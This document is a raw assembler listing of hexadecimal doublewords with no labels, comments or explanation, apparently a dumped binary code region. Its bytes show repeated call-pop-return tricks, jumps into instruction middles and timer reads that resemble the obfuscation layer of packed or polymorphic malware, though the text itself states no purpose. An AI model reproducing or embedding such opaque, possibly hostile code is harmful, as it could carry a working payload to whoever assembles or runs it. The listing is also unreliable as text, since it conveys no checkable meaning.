		dd 0Ch,	4DFD8B5Eh, 118749BBh, 729A74Dh,	1961BB66h, 2195095Fh
		dd 0E607D331h, 11E970h,	0F80F0000h, 77456D7Bh, 8D6ADC23h
		dd 8F89988Ah, 0E49058CCh, 75BD8971h, 3C07D31Ah,	0F9830F61h
		dd 0E9000000h, 8, 23FB6837h, 1285F740h,	68C0Fh,	9D8B0000h
		dd 7D305E1h, 66C8B60Fh,	54CD381h, 6BAh,	8B0F00h, 8B000000h
		dd 0C1D98AC1h, 8D0F04E8h, 0
		dd 81E2F766h, 362BC5D7h, 89C82B66h, 0D30B359Dh,	858B6007h
		dd 7D30EF9h, 0A9603B8h,	0D18B6109h, 3A99589h, 95E907D3h
		dd 0F000000h, 589h, 0EF816600h,	858BAD67h, 8, 89DFB70Fh
		dd 0D3019DBDh, 7C08307h, 2E51BD29h, 0C08307D3h,	0F850F00h
		dd 0E8000000h, 6, 12F07BFDh, 8B66000Bh,	0D03B5FFBh, 12830Fh
		dd 37BB0000h, 0E9118C05h, 48h, 0E006BF66h, 2E8BB66h, 0FFFF8D8Bh
		dd 8B51FFFFh, 0D32E39BDh, 0E1835F07h, 29840F01h, 8B000000h
		dd 0D314D1BDh, 0FFA58307h, 0FEFFFFFFh, 95DB8166h, 65F38107h
		dd 89350D86h, 895h, 75B53100h, 0E907D30Ch, 0
		dd 0CBC5B58Dh, 0BD8907DCh, 7D30F31h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 746AADC3h
		dd 2510238Bh, 95FFF560h, 7D33019h, 0FD6389BFh, 5BD8B5Ah
		dd 0B907D32Ah, 0E9Ch, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 15h, 11C35343h, 0D3BB6605h, 0FCE1830Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0B7C35141h, 11E8F1h
		dd 54830000h, 15D734FFh, 380AB2C7h, 6C114463h, 0F711DDCh
		dd 286h, 5FFB8B00h, 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 2B7AEAEAh, 0FEB70FC0h
		dd 0BAFD8Ah, 0E8000000h, 6, 0CB5B5AA4h,	8B66C721h, 33AD5FF9h
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0BCA851C3h, 7D8D89AAh
		dd 6607D32Bh, 0D7A0ABBh, 88h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 9CC35343h, 958BF853h, 7D32941h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0A2C35040h
		dd 68C943D7h, 0E9C12B2Dh, 5, 928469Bh, 0A18D8BADh, 5007D32Bh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	51BD8B58h
		dd 8B07D30Eh, 0D31BF9BDh, 91BD8307h, 7D308h, 28840Fh, 0B80000h
		dd 0F000000h, 8D8DD9BFh, 7D34DB1h, 10E9h, 0DE389F00h, 0BE5C394h
		dd 85B1218Dh, 0FBBDF06Ch, 0FE1FF66h, 0BD83FAB7h, 7D33311h
		dd 29840F00h, 89000004h, 0D3330D8Dh, 11BD8307h,	107D333h
		dd 431840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 75902AC3h, 0CE85F2Fh, 0D5000000h
		dd 0DC266D1h, 0A0CCF7C1h, 0BD3C75Ch, 0D3151DBDh, 0BD835F07h
		dd 7D33311h, 0B6860F03h, 66000003h, 0F6533BFh, 6660FBB7h
		dd 669C1CBBh, 0E180D98Ch, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 90188DE0h
		dd 54ADE933h, 8F0F7971h, 0
		dd 840FC90Ah, 11Dh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 19h, 89C35040h, 0E47CCAB8h, 0D9D8BDEh, 0F07D30Bh
		dd 68Bh, 419D2300h, 8B07D319h, 0D314C185h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0FDB589A5h, 3307D330h, 0D31FF185h, 90ECB707h, 56525060h
		dd 0B2310F5Bh, 56585A13h, 0CE9h, 0D8B4C900h, 47475E9Bh
		dd 634A77A6h, 50615A9Eh, 0BAE38190h, 6A41440Fh,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 75461E11h, 9396885h,	0D30D698Dh, 0BDD36807h,	8C0F585Eh
		dd 6, 535E5360h, 3481615Eh, 41BE2C24h, 0C59D8B58h, 0FF07D31Ah
		dd 0D3198195h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 7C932BC7h, 5D78039Fh
		dd 0FEBF0F2Eh, 4EC28589h, 0BB5607DCh, 2EEACAFEh, 0A99D8B5Bh
		dd 0E907D30Ah, 1F8h, 6AD38166h,	0BA858B12h, 8B07DC4Eh
		dd 1800C7D8h, 8B000000h, 0BEB58BDFh, 6A07DC4Eh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0CDE0C352h, 820Fh, 81660000h, 8BE6FECBh, 0D316FD85h
		dd 28E0F07h, 0B7000000h, 6A0689B9h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0A1C9C353h
		dd 89741C27h, 0D3306185h, 0C1858B07h, 6A07D314h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0BD64C352h, 72737C47h, 89FC5D17h, 6A0446h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E17C1DC3h
		dd 66F5A5C5h, 5650FA8Bh, 5FD88B66h, 66243489h, 8652DF81h
		dd 4EBAB5FFh, 6A07DCh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 5CA369C3h, 2208F538h, 820F4Dh, 0E8000000h
		dd 4, 1F03FFh, 11E8h, 0A1D79000h, 82008065h, 4D9AA630h
		dd 0F37AE022h, 6660B2E6h, 0BB6277BEh, 3A882F63h, 50505F61h
		dd 50310F52h, 810F52h, 0F000000h, 5AFE8B31h, 8B585A58h
		dd 8B042444h, 8949B700h, 66042444h, 58CA0ABFh, 30A19D8Bh
		dd 858D07D3h, 7DC4EC2h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 19C35545h, 0B0CA94F7h, 9D8B0E20h, 7D31CD9h
		dd 0CE890h, 18140000h, 8B1D5EB1h, 47F80B2Ah, 4FBFD4F1h
		dd 5F021A9Dh, 7CF8BF50h, 6A900D08h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0AA2AC356h
		dd 81477243h, 6A5390DFh, 8195FF29h, 6A07D319h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0BBC0C356h, 1B8FAD2h, 0CE961h, 183C0000h, 0AEBF9649h
		dd 0E2844D1Ch, 0CDBBAC67h, 0C75ADE91h, 0D3331185h, 307h
		dd 3DBD2900h, 8307D307h, 0DC4EC2BDh, 840F0007h,	2Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0ADC35141h, 0DAD7838Dh
		dd 21E9877Bh, 8B000000h, 0D31AF59Dh, 0C305007h,	11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 90C35747h, 60202082h, 154D9D8Bh
		dd 0BD3307D3h, 7D30641h, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 5BF95720h, 3311BD83h
		dd 0F0307D3h, 42585h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 29CEEE68h, 299010C8h
		dd 0D32991B5h, 0C2BD8307h, 7DC4Eh, 3F0840Fh, 0BF660000h
		dd 0B5FF2056h, 7DC4EC2h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0D4C35343h, 8B66BD38h, 0F995FFF8h, 6A07D325h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 4C49C356h, 0FEE2180h, 285h, 8BDE8B00h, 0DC4EB6B5h
		dd 4DBD8907h, 0C707D31Fh, 1000106h, 0F9BF6600h,	34895007h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0E251FB46h, 8166FC72h, 0B3F8EEF7h, 0C2B5FFB0h
		dd 6A07DC4Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 9991C351h, 0B383C90Ch,	0D1EA2B20h
		dd 188C0Fh, 12E80000h, 46000000h, 0BCC43E1Ah, 630E6EA6h
		dd 7FB21A42h, 54BD0B35h, 0BD315BC1h, 7D330A1h, 159195FFh
		dd 0D98B07D3h, 4EB6B58Bh, 858B07DCh, 7D30311h, 2CD19D03h
		dd 868907D3h, 0C4h, 0BE9h, 0C32CC600h, 93325CBDh, 0C0DD0B15h
		dd 2941958Bh, 0B70F07D3h, 4C283D9h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 48C35646h, 66FB0571h, 5089DE8Bh
		dd 52006A20h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0CA253266h, 561EE1C7h, 858DD38Fh, 7DC6181h
		dd 0B88689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 83019BC3h, 4AC79DABh, 0E88DF453h
		dd 0Bh,	97F3E1E2h, 5AA88FA5h, 0E933CF27h, 9, 505DB220h
		dd 0ED7281E6h, 6A5B87h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 84C35141h, 0B589A7BDh, 7D319DDh, 1E9BB66h
		dd 4EC2B5FFh, 6A07DCh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0D5D4FFC3h, 493CB690h, 0FFD88B66h
		dd 0D3159995h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 8BFF2405h, 0D3176D9Dh
		dd 0EB816607h, 0BD8B441Ah, 7D30EE9h, 68BF6696h,	6A96506Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8B8FC350h, 259D8BDEh, 0FF07D308h,	0DC4EC2B5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0E7FABF82h, 16B58D29h, 0B58907D3h, 7D31F3Dh
		dd 302595FFh, 9D8B07D3h, 7D33315h, 16E9BD83h, 0F0007D3h
		dd 6384h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 6DE5AB9h,	952945AEh, 7D30AC1h, 50FC8A96h
		dd 830Fh, 6A960000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 22E6C351h, 74FD94Bh, 9B7AB819h
		dd 20DBD8Bh, 810F07D3h,	0
		dd 4EC2B5FFh, 6A07DCh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 669A2DC3h, 95FFF98Bh, 7D31215h
		dd 0DB5BD8Bh, 0B5FF07D3h, 7DC4EC2h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0F6C35545h,	0F6A92C0h, 95FFFFB7h
		dd 7D3324Dh, 2A519D89h,	0BD8307D3h, 7D31341h, 2F840F02h
		dd 81000000h, 721CD8F3h, 7D858B77h, 6A07D334h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 9B7DC350h, 660000C6h, 85C7FE8Bh, 7D30651h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 9EC35545h
		dd 1C718157h, 0B2E9399Eh, 6AFFFFF3h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 113C352h
		dd 0D320158Dh, 0B7C18B07h, 71858DA4h, 6A07D31Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 6730C357h, 2C8DB0Ah,	5E8h, 97F7C200h, 0BF6633D9h, 505B9555h
		dd 89DF8B66h, 0BD232404h, 7D3144Dh, 8A0F006Ah, 6, 1FFD9D89h
		dd 6A07D3h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 1Ch,	5AC35545h, 9E14ADA9h, 29176EA1h, 3FF78166h, 0D0858D41h
		dd 6A07DD5Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 1BABC352h, 8B60923Dh, 0D318FDB5h
		dd 18B0F07h, 0FC000000h, 38A0F61h, 66000000h, 0C083F98Bh
		dd 0B19D8B05h, 6607D32Ch, 0F50FB8Bh, 687h, 8A0F00h, 89000000h
		dd 81662404h, 66179DF3h, 6AF88Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 56C35343h, 0E9CBA816h, 0Eh
		dd 0E50A315Fh, 0CA69E82Ch, 345E36F3h, 6A16E4h, 9D8BDF8Bh
		dd 7D33339h, 2F4D95FFh,	8D8907D3h, 7D30D39h, 8D8DDF8Bh
		dd 7DC29B0h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	64C35646h, 0BB48B38Bh, 19D29BAh, 0FF07D30Ah, 0D38166D1h
		dd 0BD83F0BAh, 7D33255h, 0D2850F01h, 6A000000h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 4068C356h, 6A026A42h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0B0F3C353h,	25875D13h
		dd 0DB81660Dh, 9D339858h, 7D31CEDh, 60525090h, 11314BBFh
		dd 0DE953h, 0D8780000h,	0EA2164DFh, 3A15C0EFh, 6166CD7Fh
		dd 10E8310Fh, 0B1000000h, 5C9FEF4Fh, 0D446CF14h, 0CBD3F0A2h
		dd 0E88B3AB9h, 5, 3677B202h, 5A5B5FCAh,	49BB5058h, 905FF0B3h
		dd 8E9h, 0E21DFF00h, 0DA7AC146h, 919D8B80h, 0FF07D334h
		dd 0D3159995h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 197B8484h, 0D380A494h
		dd 0F29E92Dh, 0E80000h,	5D000000h, 5CDAED81h, 6A07DDh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0D08E3FC3h, 1A76EF70h, 8589458Eh, 7D3136Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 2DC35545h, 4EF3C284h
		dd 5C858D65h, 6007DC19h, 0CA1858Bh, 0CE907D3h, 0F5000000h
		dd 7EB3A19Dh, 6F55F49Bh, 61575014h, 66525090h, 310FFA8Bh
		dd 585AFE8Bh, 90F88B50h, 24499D8Bh, 0FF6407D3h,	35h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 8B5BDC02h, 0D3060D9Dh, 25896407h, 0
		dd 2BE59D8Bh, 85FF07D3h, 7D32CCDh, 0BE8h, 0CE11F600h, 0E4DBE6EAh
		dd 0A0F5C00Fh, 23ADB589h, 6A5B07D3h, 55006AFFh,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 40ED3571h
		dd 0B5F87951h, 61BD8BE0h, 0FF07D317h, 0D307ADB5h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 9253685Fh, 0E992518Bh, 0Bh, 3A2AF8F8h, 3A66391Eh, 0FF5D66A2h
		dd 0D3181995h, 10CE907h, 0B5600000h, 29B58BFDh,	6107D32Bh
		dd 395BD89h, 0B007D3h, 0E6F98BF9h, 19D8970h, 0F07D32Ch
		dd 71E4FBBFh, 0A0CF8166h, 0F613C17h, 0DD83h, 958B6000h
		dd 7D3321Dh, 5E8h, 9E2DED00h, 0BA66D5D8h, 615E03E9h, 53C8B60Fh
		dd 5FFB8B66h, 6BAh, 219D8B00h, 8B07D302h, 15BD8BC1h, 6607D303h
		dd 0C17264BFh, 9E904E8h, 0B8000000h, 86AC9ACFh,	469DB802h
		dd 89E2F766h, 0D309D59Dh, 3DB58907h, 2B07D329h,	4DBD89C8h
		dd 8B07D308h, 0D9D8BD1h, 0E907D325h, 72h, 1858BF8h, 3000000h
		dd 0D313BDBDh, 7C08307h, 0F00C083h, 0D03BFBB7h,	0F830Fh
		dd 89600000h, 0D334699Dh, 61BEB307h, 45E9h, 0FF8D8B00h
		dd 0FFFFFFFh, 68Eh, 3D958900h, 8307D31Fh, 840F01E1h, 2Ah
		dd 1FB18D89h, 0A58307D3h, 0FFFFFFFFh, 6830FFEh,	89000000h
		dd 0D324CDB5h, 1958907h, 89000000h, 0D30069B5h,	0E907h
		dd 0B58D0000h, 7DCDA61h, 24A9BD29h, 6A07D3h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 50C35646h, 0BE598A54h
		dd 0E6E775D8h, 91B509FEh, 107D318h, 0D3015985h,	519D8B07h
		dd 0FF07D329h, 0D3301995h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 5A0C74B5h
		dd 61E7C6F3h, 0FDD8AECh, 0E2B9FAB7h, 6A00000Fh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 3974C350h, 11F616ECh, 0E8E6EACEh, 0Ah, 159A5EA4h, 866F578Ch
		dd 0AE9DB13h, 0B2000000h, 4677C2A0h, 0A788B74Ch, 0E1835B3Ah
		dd 0F5B589FCh, 0E907D31Fh, 0Bh,	695BB02Bh, 9DC1F3ABh, 0FC6B0695h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 6C35343h
		dd 5851B195h, 19D2B5Fh,	2B07D31Ch, 51006AC0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 6642F787h
		dd 0F9DDFAFDh, 0BB66F22Dh, 0D78164C4h, 13255BD5h, 33ADD22Bh
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 1D7B48C3h, 0ECBACA46h
		dd 6830F89h, 89000000h,	0D330859Dh, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 15FD2326h
		dd 880Dh, 6D852900h, 8B07D320h,	0D3294195h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0FE83FE8Dh, 18860FB9h, 0E8000000h, 0Ch, 6330858Dh, 671F57BCh
		dd 5B174003h, 30DDBD8Bh, 8B5B07D3h, 0D32BA18Dh,	57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8B40177Fh, 0B9B531D8h, 5007D315h, 188BC28Bh,	188BC103h
		dd 0E8D1C18Bh, 188BC203h, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0C5CC8A79h
		dd 0ADFE0F62h, 0E059501h, 9D8B07D3h, 7D31FBDh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0DC35242h, 8BBAC186h
		dd 0E78166DFh, 0BD832F7Ah, 7D30891h, 79840F00h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0E928C355h, 11h, 4F49135Ch, 4E307AF7h, 0E4EF8E24h
		dd 6A4F86E3h, 4442BB1Eh, 0B854ADh, 29000000h, 0D32F55BDh
		dd 0B18D8D07h, 6A07D34Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 6B2C357h, 8501E1FFh
		dd 7D33259h, 68B0Fh, 85890000h,	7D32B05h, 3311BD83h, 0F0007D3h
		dd 4CA84h, 0ADBD8B00h, 8307D32Dh, 0D33311BDh, 840F0107h
		dd 4D2h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0BFC35545h, 0F8D780AFh,	83D98B66h, 0D33311BDh
		dd 860F0307h, 46Ch, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0ACC35040h, 8B00BF28h, 0B5895160h, 7D32115h
		dd 0D98C665Fh, 0E180DE8Bh, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0DAAFB380h
		dd 637247A3h, 891AB706h, 0D31BE5B5h, 0FC90A07h,	12684h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0F88B084Bh, 0DE9h, 922E4A00h, 0C919E658h
		dd 927B27D6h, 858BDA43h, 7D314C1h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0DDC35343h,	95BD8BC4h, 3307D32Eh
		dd 0D31FF185h, 0C3816607h, 5350BCFAh, 5BD88B66h, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 7E47C356h, 8A3715C7h, 784C015Ah, 6AEDC780h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 1E4990AEh, 0B501FB8Bh, 7D33029h,	0BF218568h
		dd 81D7B3C3h, 0E27A2404h, 9D893C5Fh, 7D3206Dh, 198195FFh
		dd 6A07D3h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 573D7EC3h, 2BAC35D6h, 892DC786h, 0DC4EC285h
		dd 41958907h, 0E807D326h, 8, 0CA9BE4E7h, 731876FDh, 3B5BD89h
		dd 0E95B07D3h, 272h, 8B75D380h,	0DC4EBA85h, 4830F07h, 50000000h
		dd 0E85B5BB3h, 0Dh, 437EAB8Eh, 0BABF42E6h, 0BAED778Fh
		dd 0BD8952D5h, 7D33119h, 0C75B5Fh, 18h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 6FC35242h, 0DF27BF66h
		dd 0C8354FBBh, 0BEB58B26h, 6A07DC4Eh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 3592C352h
		dd 78D9D8Bh, 858B07D3h,	7D316FDh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0F8C35545h,	0E56CC8F5h, 0FD0695Eh
		dd 880h, 0BD235300h, 7D32429h, 0E806895Fh, 0Bh,	79A334DBh
		dd 799DBD0Ah, 66035A3Ch, 0D75E381h, 0C1858B5Fh,	6A07D314h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0F024C357h, 815C7405h, 0AD6143EFh, 6E929h
		dd 0CAA90000h, 50708B33h, 89044689h, 0D32CA585h, 0E7BB9607h
		dd 50405559h, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0E7820138h, 0DB99C63Dh, 0E062BFF1h
		dd 0B5FF01C2h, 7DC4EBAh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Dh, 0FAC35040h, 0CF7711F1h, 0F7FE9983h, 29FE8B63h
		dd 0D30B758Dh, 4E807h, 3FF0000h, 0E957001Fh, 11h, 0AB1468CAh
		dd 1DEA5FBCh, 41B6AFBFh, 0FEB4F739h, 0F505BE4h
		dd 0C8Ch, 7E900h, 1A8C0000h, 407533DCh,	24448B89h, 0F525004h
		dd 66525031h, 0FBD69BBh, 5A616031h, 8B585A58h, 0BF665200h
		dd 895F8DBBh, 0BB042444h, 3755F07Eh, 52006A58h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0B41C6792h
		dd 87E3F30Dh, 5840Fh, 0EEBF0000h, 8D1066B6h, 0DC4EC285h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0CDEE79FFh, 6690755Fh, 503C76BBh, 0C840Fh
		dd 7E90000h, 3000000h, 950135FDh, 0F5902D92h, 198195FFh
		dd 6A07D3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0F00750C3h, 880FE44Eh, 6,	24D59529h, 0F6107D3h
		dd 85C7F9B7h, 7D33311h,	3, 0BD8337B3h, 7DC4EC2h, 55840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 4A71C355h, 9D8B09DDh, 7D30EF9h
		dd 46E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 813A0F7Eh, 0AC8A597Eh, 9529B616h
		dd 7D33259h, 110C3050h,	1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 609EC351h, 0E227B17h, 850F376Fh
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0EAC35141h
		dd 2C520B74h, 2EB9BD01h, 0BD8307D3h, 7D33311h, 1E850F03h
		dd 66000004h, 0FFC8EBFh, 1087h,	0BE900h, 1D10000h, 4D03A219h
		dd 9D9042F1h, 0C2BD83EEh, 7DC4Eh, 3F7840Fh, 0D98B0000h
		dd 4EC2B5FFh, 6A07DCh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0FF38F6C3h, 0D325F995h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 93612477h, 89767772h, 0D319998Dh, 0B6B58B07h, 6A07DC4Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 1245C356h, 6779F64Eh, 6C7F50Dh, 10001h, 11E8h
		dd 50B8DF00h, 6D589F8Bh, 91A0B7F4h, 0CD24E362h,	965F7E2Dh
		dd 10E9h, 1D76A800h, 0DD8906D3h, 0EA838A46h, 154BDE59h
		dd 8D0F5093h, 0Ah, 8B0F60h, 52000000h, 6A966159h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 1F18C353h, 0E4D73DFEh, 0C2B5FF8Bh, 8907DC4Eh, 0D31FF58Dh
		dd 9195FF07h, 0F07D315h, 68Dh, 39BD8B00h, 8B07D32Dh, 0DC4EB6B5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 37DB27h,	0C6C381D3h, 8B4377FDh, 0D3031185h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 605B395Dh, 0C48689h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 7D40E9C3h
		dd 0F8FAD612h, 6840Fh, 9D8B0000h, 7D30199h, 2941958Bh
		dd 0B50907D3h, 7D316BDh, 8904C283h, 0D317A185h,	20508907h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 92C35242h
		dd 1BEBE2A0h, 0E9DE8B66h, 13h, 0BF75A0BBh, 0C4D285B7h
		dd 0B2F2A750h, 45BD8207h, 8DFA1D87h, 0DC618185h, 218D2907h
		dd 8907D31Fh, 0B886h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 7A496487h, 0FD71BF92h
		dd 6A68B2h, 0AE9h, 5AA88F00h, 0FE33CF27h, 0FF5842E9h, 0DC4EC2B5h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 2CFD78A3h, 61F2E4E0h, 159995FFh,	6A07D3h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0EB4883C3h, 1431B589h, 0E89607D3h, 12h, 577F0442h, 2BF0EAE8h
		dd 2253385Ah, 99D39EB6h, 0E8607F6Eh, 11h, 7A9CECFFh, 0C7C3EE77h
		dd 2631C300h, 0F9E9775Bh, 0C88B5AD1h, 66505B61h, 8B96FB8Bh
		dd 0D3073D9Dh, 0C2B5FF07h, 6A07DC4Eh, 3E85100h,	20000000h
